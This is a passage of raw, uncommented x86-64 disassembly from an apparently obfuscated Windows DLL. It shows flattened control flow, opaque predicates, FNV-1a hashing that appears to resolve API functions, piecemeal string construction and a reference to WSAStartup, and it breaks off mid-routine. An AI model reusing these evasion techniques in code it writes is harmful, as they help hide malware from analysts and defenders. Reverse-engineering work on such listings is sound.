mov ecx, 0xd6e653d0
cmovb ecx, ebx
jmp 0x1800b3fa0
mov rax, qword [rsp + 0x70]
mov sil, byte [rax]
mov ecx, 0x4d880c29
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x7c57d401
je 0x1800b3f7d
cmp ecx, 0x4d880c29
jne 0x1800b40c0
mov rcx, rdi
mov edx, esi
call fcn.1800c3810
mov ecx, 0x7c57d401
jmp 0x1800b40c0
cmp ecx, 0x9311ceba
jne 0x1800b3fa0
mov rax, qword [rsp + 0x58]
mov byte [rax], 0
mov r9, qword [rsp + 0x60]
add r9, 1
mov eax, dword [0x1801294f8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801294fc], 0xa
setl cl
or cl, al
mov r8d, 0x6b3afa7f
mov eax, 0xd9a22da7
cmovne r8d, eax
mov r10d, 0x6b3afa7f
mov eax, 0xa024a977
cmovne r10d, eax
mov r12d, 0xa01aa426
mov eax, 0x95eaf0dc
cmovne r12d, eax
mov edi, 0xa01aa426
mov eax, 0x9aca454
cmovne edi, eax
mov edx, 0x96d144b1
jmp 0x1800b4190
movsxd rcx, r11d
xor rcx, qword [rsp + 0x298]
movabs rax, 0x100000001b3
imul rcx, rax
mov eax, dword [rsp + 0x40]
add eax, 1
mov edx, 0x126ae241
nop word cs:[rax + rax]
mov esi, edx
cmp edx, 0x9aca453
jle 0x1800b41f0
cmp esi, 0x4bacb182
jle 0x1800b4240
cmp esi, 0x5751c9b6
jle 0x1800b42dc
cmp esi, 0x77e83218
jg 0x1800b43cd
cmp esi, 0x5751c9b7
je 0x1800b43f2
mov edx, esi
cmp esi, 0x6b3afa7f
jne 0x1800b4190
mov edx, dword [rsp + 0x60]
mov edx, dword [rsp + 0x60]
mov edx, 0xa024a977
jmp 0x1800b4190
cmp esi, 0xba417c88
jg 0x1800b42a0
cmp esi, 0xa024a976
jg 0x1800b431a
cmp esi, 0x95eaf0dc
je 0x1800b43fc
cmp esi, 0x96d144b1
je 0x1800b440b
mov edx, esi
cmp esi, 0xa01aa426
jne 0x1800b4190
mov edx, 0x9aca454
jmp 0x1800b4190
cmp esi, 0x140ee926
jg 0x1800b4356
mov edx, r12d
cmp esi, 0x9aca454
je 0x1800b4190
cmp esi, 0x11a33ffd
je 0x1800b4415
mov edx, esi
cmp esi, 0x126ae241
jne 0x1800b4190
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x298], rcx
mov edx, dword [rsp + 0x48]
mov esi, dword [rsp + 0x40]
cmp esi, edx
mov edx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb edx, esi
jmp 0x1800b4190
cmp esi, 0xdaa262c9
jg 0x1800b4396
cmp esi, 0xba417c89
je 0x1800b4161
cmp esi, 0xc68ca180
je 0x1800b4422
mov edx, esi
cmp esi, 0xd9a22da7
jne 0x1800b4190
mov edx, 0xf648bac2
jmp 0x1800b4190
cmp esi, 0x4bacb183
je 0x1800b444d
mov edx, r10d
cmp esi, 0x52c11306
je 0x1800b4190
mov edx, esi
cmp esi, 0x568f1370
jne 0x1800b4190
mov edx, dword [rsp + 0x48]
add edx, 1
mov dword [rsp + 0x68], edx
mov edx, 0xdaa262ca
jmp 0x1800b4190
cmp esi, 0xa024a977
je 0x1800b4463
cmp esi, 0xb3dd72df
je 0x1800b44a9
mov edx, esi
cmp esi, 0xb78226fb
jne 0x1800b4190
mov edx, dword [rsp + 0x54]
cmp edx, 0x7f
setl byte [rsp + 0x7e]
mov edx, 0xee7ccbb7
jmp 0x1800b4190
cmp esi, 0x140ee927
je 0x1800b44ce
cmp esi, 0x22a3f0a1
je 0x1800b44dd
mov edx, esi
cmp esi, 0x38d2119f
jne 0x1800b4190
cmp byte [rsp + 0x80], 0
mov edx, 0x140ee927
mov esi, 0x52c11306
cmovne edx, esi
jmp 0x1800b4190
mov edx, edi
cmp esi, 0xdaa262ca
je 0x1800b4190
cmp esi, 0xee7ccbb7
je 0x1800b44f3
mov edx, esi
cmp esi, 0xf648bac2
jne 0x1800b4190
mov edx, 0xba417c89
mov r11d, dword [rsp + 0x58]
jmp 0x1800b4190
cmp esi, 0x7f221d67
jne 0x1800b450a
mov edx, dword [rsp + 0x60]
cmp edx, 0x5b
setl byte [rsp + 0x80]
mov edx, 0x38d2119f
jmp 0x1800b4190
mov edx, 0x4bacb183
jmp 0x1800b4190
mov edx, 0xc68ca180
mov r14d, dword [rsp + 0x68]
jmp 0x1800b4190
mov edx, 0x11a33ffd
jmp 0x1800b4190
mov edx, 0xc68ca180
xor r14d, r14d
jmp 0x1800b4190
mov dword [rsp + 0x48], r14d
mov edx, dword [rsp + 0x48]
movsx edx, byte [r9 + rdx]
mov dword [rsp + 0x54], edx
mov edx, dword [rsp + 0x54]
cmp edx, 0x20
mov edx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge edx, esi
jmp 0x1800b4190
mov edx, 0x126ae241
xor eax, eax
movabs rcx, 0xcbf29ce484222325
jmp 0x1800b4190
mov edx, dword [rsp + 0x60]
mov esi, edx
not esi
mov ebp, edx
and ebp, 0x4048890
mov ebx, esi
and ebx, 0x9021040a
or ebx, ebp
mov ebp, edx
and ebp, 0x6bda7345
and esi, 0x20
or esi, 0x6b822240
xor esi, ebp
or esi, ebx
and edx, 0x20
or edx, 0xfba3264a
xor edx, esi
mov dword [rsp + 0x58], edx
mov edx, r8d
jmp 0x1800b4190
mov rdx, qword [rsp + 0x70]
movsx edx, byte [rdx]
mov dword [rsp + 0x60], edx
mov edx, dword [rsp + 0x60]
cmp edx, 0x41
mov edx, 0x140ee927
mov esi, 0x7f221d67
cmovge edx, esi
jmp 0x1800b4190
mov edx, 0xba417c89
mov r11d, dword [rsp + 0x60]
jmp 0x1800b4190
mov edx, dword [rsp + 0x40]
add rdx, r9
mov qword [rsp + 0x70], rdx
mov edx, 0xb3dd72df
jmp 0x1800b4190
cmp byte [rsp + 0x7e], 0
mov edx, 0x5751c9b7
mov esi, 0x568f1370
cmovne edx, esi
jmp 0x1800b4190
mov edx, esi
cmp esi, 0x77e83219
jne 0x1800b4190
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0x120], rax
mov eax, 0xb24f931e
lea r14, [rsp + 0x298]
jmp 0x1800b0630
mov eax, 0x9f6937bc
jmp 0x1800b0630
lea rax, [rsp + 0x168]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0xf8]
mov dword [rsp + 0x70], 0x57
mov eax, dword [0x1801298e8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1801298ec], 0xa
setl cl
or cl, al
mov ebp, 0xc47262e3
mov eax, 0x5225b5c7
cmovne ebp, eax
mov ecx, 0xc47262e3
mov eax, 0x3c788574
cmovne ecx, eax
mov edx, 0x1de76d63
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b5000
cmp edx, 0x1de76d63
jne 0x1800b45b0
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b4600
cmp eax, 0x5225b5c7
je 0x1800b464f
cmp eax, 0x3c788574
je 0x1800b4612
cmp eax, 0x150df70d
jne 0x1800b45d0
mov dword [rsp + 0x298], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b45d0
cmp eax, 0xc47262e3
je 0x1800b463a
cmp eax, 0xcdaf8623
jne 0x1800b45d0
mov eax, ecx
jmp 0x1800b45d0
movsxd rdx, dword [rsp + 0x298]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b45d0
mov eax, dword [rsp + 0x298]
mov eax, dword [rsp + 0x298]
mov eax, 0x3c788574
jmp 0x1800b45d0
mov byte [rsp + 0x40], dl
mov al, byte [rsp + 0x40]
mov edx, 0xa132f20c
jmp 0x1800b45b0
mov eax, dword [0x1801298a8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete byte [rsp + 0x48]
mov edi, dword [0x1801298ac]
mov ebx, 0xd2fca98e
mov eax, 0xebe17d3
cmove ebx, eax
cmp edi, 0xa
setl byte [rsp + 0x40]
cmovl ebx, eax
mov eax, 0x4e6cc85c
nop dword [rax + rax]
cmp eax, 0x1fbde8f1
jg 0x1800b46d0
cmp eax, 0xd2fca98e
je 0x1800b4702
cmp eax, 0xebe17d3
je 0x1800b4709
cmp eax, 0x18f93051
jne 0x1800b46a0
jmp 0x1800b50e1
cmp eax, 0x1fbde8f2
je 0x1800b4710
cmp eax, 0x5f0dfb2f
je 0x1800b4714
cmp eax, 0x4e6cc85c
jne 0x1800b46a0
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b46a0
mov eax, 0x1fbde8f2
jmp 0x1800b46a0
mov eax, 0x5f0dfb2f
jmp 0x1800b46a0
mov eax, ebx
jmp 0x1800b46a0
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b4730
cmp eax, 0x3e50374a
jne 0x1800b4720
jmp 0x1800b4737
mov eax, 0x3e50374a
jmp 0x1800b4720
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b46a0
lea rax, [rsp + 0x1a8]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov eax, 0xa46f5591
jmp 0x1800b0630
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
mov edx, 0xdfbe209
nop word [rax + rax]
cmp edx, 0xeae3817
je 0x1800b51d6
cmp edx, 0xdfbe209
jne 0x1800b4790
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b47db
cmp edx, 0x698c8bdd
jne 0x1800b47c0
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b47c0
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, al
mov edx, 0xeae3817
jmp 0x1800b4790
mov dword [rsp + 0x70], 0x43
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1a8], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x1fbde8f1
jg 0x1800b4860
cmp eax, 0xd2fca98e
je 0x1800b4892
cmp eax, 0xebe17d3
je 0x1800b4899
cmp eax, 0x18f93051
jne 0x1800b4830
jmp 0x1800b524d
cmp eax, 0x1fbde8f2
je 0x1800b48a0
cmp eax, 0x5f0dfb2f
je 0x1800b48a4
cmp eax, 0x4e6cc85c
jne 0x1800b4830
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b4830
mov eax, 0x1fbde8f2
jmp 0x1800b4830
mov eax, 0x5f0dfb2f
jmp 0x1800b4830
mov eax, ebx
jmp 0x1800b4830
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b48c0
cmp eax, 0x3e50374a
jne 0x1800b48b0
jmp 0x1800b48c7
mov eax, 0x3e50374a
jmp 0x1800b48b0
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b4830
mov rcx, r14
call fcn.1800c2750
mov ecx, dword [0x1801294f8]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x1801294fc], 0xa
setl dl
or dl, cl
mov r8d, 0x6b3afa7f
mov ecx, 0xd9a22da7
cmovne r8d, ecx
mov r9d, 0x6b3afa7f
mov ecx, 0xa024a977
cmovne r9d, ecx
mov r14d, 0xa01aa426
mov ecx, 0x95eaf0dc
cmovne r14d, ecx
mov r12d, 0xa01aa426
mov ecx, 0x9aca454
cmovne r12d, ecx
mov ebx, 0x96d144b1
jmp 0x1800b4980
movsxd rcx, r10d
xor rcx, qword [rsp + 0x70]
movabs rdx, 0x100000001b3
imul rcx, rdx
mov edx, dword [rsp + 0x48]
add edx, 1
mov ebx, 0x126ae241
nop word cs:[rax + rax]
nop dword [rax + rax]
mov esi, ebx
cmp ebx, 0x9aca453
jle 0x1800b49e0
cmp esi, 0x4bacb182
jle 0x1800b4a30
cmp esi, 0x5751c9b6
jle 0x1800b4acc
cmp esi, 0x77e83218
jg 0x1800b4bbe
cmp esi, 0x5751c9b7
je 0x1800b4be0
mov ebx, esi
cmp esi, 0x6b3afa7f
jne 0x1800b4980
mov esi, dword [rsp + 0x68]
mov esi, dword [rsp + 0x68]
mov ebx, 0xa024a977
jmp 0x1800b4980
cmp esi, 0xba417c88
jg 0x1800b4a90
cmp esi, 0xa024a976
jg 0x1800b4b0a
cmp esi, 0x95eaf0dc
je 0x1800b4bea
cmp esi, 0x96d144b1
je 0x1800b4bf9
mov ebx, esi
cmp esi, 0xa01aa426
jne 0x1800b4980
mov ebx, 0x9aca454
jmp 0x1800b4980
cmp esi, 0x140ee926
jg 0x1800b4b49
mov ebx, r14d
cmp esi, 0x9aca454
je 0x1800b4980
cmp esi, 0x11a33ffd
je 0x1800b4c03
mov ebx, esi
cmp esi, 0x126ae241
jne 0x1800b4980
mov dword [rsp + 0x48], edx
mov qword [rsp + 0x70], rcx
mov esi, dword [rsp + 0x58]
mov ebx, dword [rsp + 0x48]
cmp ebx, esi
mov ebx, 0x77e83219
mov esi, 0x22a3f0a1
cmovb ebx, esi
jmp 0x1800b4980
cmp esi, 0xdaa262c9
jg 0x1800b4b86
cmp esi, 0xba417c89
je 0x1800b494f
cmp esi, 0xc68ca180
je 0x1800b4c10
mov ebx, esi
cmp esi, 0xd9a22da7
jne 0x1800b4980
mov ebx, 0xf648bac2
jmp 0x1800b4980
cmp esi, 0x4bacb183
je 0x1800b4c40
mov ebx, r9d
cmp esi, 0x52c11306
je 0x1800b4980
mov ebx, esi
cmp esi, 0x568f1370
jne 0x1800b4980
mov esi, dword [rsp + 0x58]
add esi, 1
mov dword [rsp + 0x54], esi
mov ebx, 0xdaa262ca
jmp 0x1800b4980
cmp esi, 0xa024a977
je 0x1800b4c56
cmp esi, 0xb3dd72df
je 0x1800b4c9c
mov ebx, esi
cmp esi, 0xb78226fb
jne 0x1800b4980
mov esi, dword [rsp + 0x80]
cmp esi, 0x7f
setl byte [rsp + 0x7f]
mov ebx, 0xee7ccbb7
jmp 0x1800b4980
cmp esi, 0x140ee927
je 0x1800b4cc1
cmp esi, 0x22a3f0a1
je 0x1800b4cd0
mov ebx, esi
cmp esi, 0x38d2119f
jne 0x1800b4980
cmp byte [rsp + 0x7e], 0
mov ebx, 0x140ee927
mov esi, 0x52c11306
cmovne ebx, esi
jmp 0x1800b4980
mov ebx, r12d
cmp esi, 0xdaa262ca
je 0x1800b4980
cmp esi, 0xee7ccbb7
je 0x1800b4ce6
mov ebx, esi
cmp esi, 0xf648bac2
jne 0x1800b4980
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x60]
jmp 0x1800b4980
cmp esi, 0x7f221d67
jne 0x1800b4cfd
mov esi, dword [rsp + 0x68]
cmp esi, 0x5b
setl byte [rsp + 0x7e]
mov ebx, 0x38d2119f
jmp 0x1800b4980
mov ebx, 0x4bacb183
jmp 0x1800b4980
mov ebx, 0xc68ca180
mov r11d, dword [rsp + 0x54]
jmp 0x1800b4980
mov ebx, 0x11a33ffd
jmp 0x1800b4980
mov ebx, 0xc68ca180
xor r11d, r11d
jmp 0x1800b4980
mov dword [rsp + 0x58], r11d
mov esi, dword [rsp + 0x58]
movsx esi, byte [rax + rsi]
mov dword [rsp + 0x80], esi
mov esi, dword [rsp + 0x80]
cmp esi, 0x20
mov ebx, 0x5751c9b7
mov esi, 0xb78226fb
cmovge ebx, esi
jmp 0x1800b4980
mov ebx, 0x126ae241
xor edx, edx
movabs rcx, 0xcbf29ce484222325
jmp 0x1800b4980
mov esi, dword [rsp + 0x68]
mov ebx, esi
not ebx
mov ebp, esi
and ebp, 0x4048890
mov edi, ebx
and edi, 0x9021040a
or edi, ebp
mov ebp, esi
and ebp, 0x6bda7345
and ebx, 0x20
or ebx, 0x6b822240
xor ebx, ebp
or ebx, edi
and esi, 0x20
or esi, 0xfba3264a
xor esi, ebx
mov dword [rsp + 0x60], esi
mov ebx, r8d
jmp 0x1800b4980
mov rsi, qword [rsp + 0x40]
movsx esi, byte [rsi]
mov dword [rsp + 0x68], esi
mov esi, dword [rsp + 0x68]
cmp esi, 0x41
mov ebx, 0x140ee927
mov esi, 0x7f221d67
cmovge ebx, esi
jmp 0x1800b4980
mov ebx, 0xba417c89
mov r10d, dword [rsp + 0x68]
jmp 0x1800b4980
mov esi, dword [rsp + 0x48]
add rsi, rax
mov qword [rsp + 0x40], rsi
mov ebx, 0xb3dd72df
jmp 0x1800b4980
cmp byte [rsp + 0x7f], 0
mov ebx, 0x5751c9b7
mov esi, 0x568f1370
cmovne ebx, esi
jmp 0x1800b4980
mov ebx, esi
cmp esi, 0x77e83219
jne 0x1800b4980
mov rcx, qword [rsp + 0x70]
call fcn.1800e9be0
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x90]
mov r8d, 0xffffffff
mov r9d, 0xa0000000
call rax
test eax, eax
sete byte [rsp + 0x8e]
mov eax, 0x11ca6285
lea r14, [rsp + 0x298]
jmp 0x1800b0630
mov rax, qword [rsp + 0x298]
mov al, byte [rax]
mov edx, 0xdfbe209
nop
cmp edx, 0xeae3817
je 0x1800b5346
cmp edx, 0xdfbe209
jne 0x1800b4d60
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b4dab
cmp edx, 0x698c8bdd
jne 0x1800b4d90
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b4d90
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, al
mov edx, 0xeae3817
jmp 0x1800b4d60
mov dword [rsp + 0x298], WSAStartup
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
add cx, ax
mov word [rsp + 0x1fa], cx
mov ecx, 0x66a53b08
nop dword [rax + rax]
cmp ecx, 0x45c64127
je 0x1800b53bd
cmp ecx, 0x66a53b08
jne 0x1800b4df0
mov eax, 0x32175fe9
nop dword [rax]
cmp eax, 0x32175fe9
je 0x1800b4e20
cmp eax, 0x9dbef50
jne 0x1800b4e10
jmp 0x1800b4e27
mov eax, 0x9dbef50
jmp 0x1800b4e10
mov dword [rsp + 0x298], 0xb577
movsxd rax, dword [rsp + 0x298]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0x45c64127
jmp 0x1800b4df0
mov dword [rsp + 0x70], 0x41
mov word [rsp + 0x40], bp
movzx eax, word [rsp + 0x40]
mov edx, dword [rsp + 0x70]
add dx, ax
test cl, 1
mov word [rsp + 0x298], dx
sete byte [rsp + 0x58]
cmp edi, 0xa
setl byte [rsp + 0x48]
mov eax, 0xe371ccc2
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x117a5aa1
jle 0x1800b4ed0
cmp eax, 0x117a5aa2
je 0x1800b4ee9
cmp eax, 0x352435fc
je 0x1800b4ef0
cmp eax, 0x36430429
jne 0x1800b4ea0
jmp 0x1800b545d
cmp eax, 0xc93ff860
je 0x1800b4f17
cmp eax, 0xe371ccc2
je 0x1800b4f1e
cmp eax, 0x369743b
jne 0x1800b4ea0
mov eax, ebx
jmp 0x1800b4ea0
mov eax, 0x369743b
jmp 0x1800b4ea0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b4f10
cmp eax, 0xe0743747
jne 0x1800b4f00
jmp 0x1800b4f3e
mov eax, 0xe0743747
jmp 0x1800b4f00
mov eax, 0x352435fc
jmp 0x1800b4ea0
mov dl, byte [rsp + 0x58]
cmp byte [rsp + 0x48], 0
mov eax, 0x117a5aa2
mov esi, 0x369743b
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b4ea0
mov dword [rsp + 0x70], 6
mov ebp, dword [rsp + 0x70]
mov eax, 0x36430429
jmp 0x1800b4ea0
mov rax, qword [rsp + 0x298]
movzx ecx, word [rsp + 0x60]
mov word [rax], cx
mov rax, qword [rsp + 0x298]
mov dword [rsp + 0x48], WSAStartup
mov edx, 0x21587ead
nop dword [rax]
cmp edx, 0x8cf96cc
je 0x1800b5554
cmp edx, 0x21587ead
jne 0x1800b4f80
mov dword [rsp + 0x40], 0x33d6
mov edx, 0x13896f2d
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0xefcd29e
je 0x1800b4fe8
cmp edx, 0x13896f2d
jne 0x1800b4fb0
movsxd rcx, dword [rsp + 0x40]
imul rdx, rcx, 0x4ec4ec4f
mov rbp, rdx
shr rbp, 0x3f
shr rdx, 0x22
add edx, ebp
lea ebp, [rdx + rdx*2]
lea edx, [rdx + rbp*4]
sub ecx, edx
mov edx, 0xefcd29e
jmp 0x1800b4fb0
mov word [rsp + 0x58], cx
movzx edx, word [rsp + 0x58]
mov ecx, dword [rsp + 0x48]
add cx, dx
mov edx, 0x8cf96cc
jmp 0x1800b4f80
mov byte [rsp + 0x298], al
mov al, byte [rsp + 0x298]
mov edx, dword [rsp + 0x70]
add dl, al
mov byte [rsp + 0x168], dl
mov dword [rsp + 0x70], 0x69
mov edx, 0x1de76d63
nop dword [rax + rax]
cmp edx, 0xa132f20c
je 0x1800b55f0
cmp edx, 0x1de76d63
jne 0x1800b5030
mov eax, 0x150df70d
nop dword [rax]
cmp eax, 0x150df70c
jle 0x1800b5080
cmp eax, 0x5225b5c7
je 0x1800b50cf
cmp eax, 0x3c788574
je 0x1800b5092
cmp eax, 0x150df70d
jne 0x1800b5050
mov dword [rsp + 0x298], 0x56
mov eax, 0xcdaf8623
jmp 0x1800b5050
cmp eax, 0xc47262e3
je 0x1800b50ba
cmp eax, 0xcdaf8623
jne 0x1800b5050
mov eax, ecx
jmp 0x1800b5050
movsxd rdx, dword [rsp + 0x298]
imul rax, rdx, 0x4ec4ec4f
mov rbx, rax
shr rbx, 0x3f
shr rax, 0x22
add eax, ebx
lea ebx, [rax + rax*2]
lea eax, [rax + rbx*4]
sub edx, eax
mov eax, ebp
jmp 0x1800b5050
mov eax, dword [rsp + 0x298]
mov eax, dword [rsp + 0x298]
mov eax, 0x3c788574
jmp 0x1800b5050
mov byte [rsp + 0x40], dl
mov al, byte [rsp + 0x40]
mov edx, 0xa132f20c
jmp 0x1800b5030
mov dword [rsp + 0x70], 0x43
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1a8], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop dword [rax + rax]
cmp eax, 0x1fbde8f1
jg 0x1800b5150
cmp eax, 0xd2fca98e
je 0x1800b5182
cmp eax, 0xebe17d3
je 0x1800b5189
cmp eax, 0x18f93051
jne 0x1800b5120
jmp 0x1800b56d1
cmp eax, 0x1fbde8f2
je 0x1800b5190
cmp eax, 0x5f0dfb2f
je 0x1800b5194
cmp eax, 0x4e6cc85c
jne 0x1800b5120
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b5120
mov eax, 0x1fbde8f2
jmp 0x1800b5120
mov eax, 0x5f0dfb2f
jmp 0x1800b5120
mov eax, ebx
jmp 0x1800b5120
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b51b0
cmp eax, 0x3e50374a
jne 0x1800b51a0
jmp 0x1800b51b7
mov eax, 0x3e50374a
jmp 0x1800b51a0
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b5120
mov byte [rsp + 0x40], cl
mov al, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
mov byte [rcx], al
mov rax, qword [rsp + 0x70]
mov edx, 0xdfbe209
nop
cmp edx, 0xeae3817
je 0x1800b57c6
cmp edx, 0xdfbe209
jne 0x1800b51f0
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b523b
cmp edx, 0x698c8bdd
jne 0x1800b5220
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b5220
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x72
mov edx, 0xeae3817
jmp 0x1800b51f0
mov dword [rsp + 0x70], WSAStartup
mov dword [rsp + 0x298], ebp
mov eax, dword [rsp + 0x70]
add eax, dword [rsp + 0x298]
test cl, 1
mov word [rsp + 0x1aa], ax
sete byte [rsp + 0x48]
cmp edi, 0xa
setl byte [rsp + 0x40]
mov eax, 0x4e6cc85c
nop word cs:[rax + rax]
nop
cmp eax, 0x1fbde8f1
jg 0x1800b52c0
cmp eax, 0xd2fca98e
je 0x1800b52f2
cmp eax, 0xebe17d3
je 0x1800b52f9
cmp eax, 0x18f93051
jne 0x1800b5290
jmp 0x1800b583d
cmp eax, 0x1fbde8f2
je 0x1800b5300
cmp eax, 0x5f0dfb2f
je 0x1800b5304
cmp eax, 0x4e6cc85c
jne 0x1800b5290
mov dl, byte [rsp + 0x48]
cmp byte [rsp + 0x40], 0
mov eax, 0xd2fca98e
mov esi, 0x1fbde8f2
cmovne eax, esi
test dl, dl
cmovne eax, esi
jmp 0x1800b5290
mov eax, 0x1fbde8f2
jmp 0x1800b5290
mov eax, 0x5f0dfb2f
jmp 0x1800b5290
mov eax, ebx
jmp 0x1800b5290
mov eax, 0x35207f2b
nop dword [rax]
cmp eax, 0x35207f2b
je 0x1800b5320
cmp eax, 0x3e50374a
jne 0x1800b5310
jmp 0x1800b5327
mov eax, 0x3e50374a
jmp 0x1800b5310
mov dword [rsp + 0x298], 3
mov eax, dword [rsp + 0x298]
movzx ebp, ax
mov eax, 0x18f93051
jmp 0x1800b5290
mov byte [rsp + 0x40], cl
mov al, byte [rsp + 0x40]
mov rcx, qword [rsp + 0x70]
mov byte [rcx], al
mov rax, qword [rsp + 0x70]
mov edx, 0xdfbe209
nop
cmp edx, 0xeae3817
je 0x1800b5936
cmp edx, 0xdfbe209
jne 0x1800b5360
mov dword [rsp + 0x40], 0
mov edx, 0x698c8bdd
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edx, 0x1b304c9b
je 0x1800b53ab
cmp edx, 0x698c8bdd
jne 0x1800b5390
mov ecx, dword [rsp + 0x40]
mov edx, 0x1b304c9b
jmp 0x1800b5390
mov byte [rsp + 0x48], cl
mov cl, byte [rsp + 0x48]
add cl, 0x72
mov edx, 0xeae3817
jmp 0x1800b5360
mov dword [rsp + 0x298], WSAStartup
mov word [rsp + 0x70], ax
movzx eax, word [rsp + 0x70]
mov ecx, dword [rsp + 0x298]
add cx, ax
mov word [rsp + 0x1fc], cx
mov ecx, 0x66a53b08
nop dword [rax]
cmp ecx, 0x45c64127
je 0x1800b59ad
cmp ecx, 0x66a53b08
jne 0x1800b53f0
mov eax, 0x32175fe9
nop dword [rax]
cmp eax, 0x32175fe9
je 0x1800b5420
cmp eax, 0x9dbef50
jne 0x1800b5410
jmp 0x1800b5427
mov eax, 0x9dbef50
jmp 0x1800b5410
mov dword [rsp + 0x298], 0xb577
movsxd rax, dword [rsp + 0x298]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov ecx, 0x45c64127
jmp 0x1800b53f0
mov dword [rsp + 0x70], 0x63
mov word [rsp + 0x40], bp
movzx eax, word [rsp + 0x40]
mov edx, dword [rsp + 0x70]
add dx, ax
test cl, 1
mov word [rsp + 0x29a], dx
sete byte [rsp + 0x58]
cmp edi, 0xa
setl byte [rsp + 0x48]
mov eax, 0xe371ccc2
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x117a5aa1
jle 0x1800b54d0
cmp eax, 0x117a5aa2
je 0x1800b54e9
cmp eax, 0x352435fc
je 0x1800b54f0
cmp eax, 0x36430429
jne 0x1800b54a0
jmp 0x1800b5eb5
cmp eax, 0xc93ff860
je 0x1800b5517
cmp eax, 0xe371ccc2
je 0x1800b551e
cmp eax, 0x369743b
jne 0x1800b54a0
mov eax, ebx
jmp 0x1800b54a0
mov eax, 0x369743b
jmp 0x1800b54a0
mov eax, 0x1c61ffe1
nop word cs:[rax + rax]
nop
cmp eax, 0x1c61ffe1
je 0x1800b5510
cmp eax, 0xe0743747
jne 0x1800b5500
jmp 0x1800b553e
mov eax, 0xe0743747
jmp 0x1800b5500
mov eax, 0x352435fc
jmp 0x1800b54a0
mov dl, byte [rsp + 0x58]
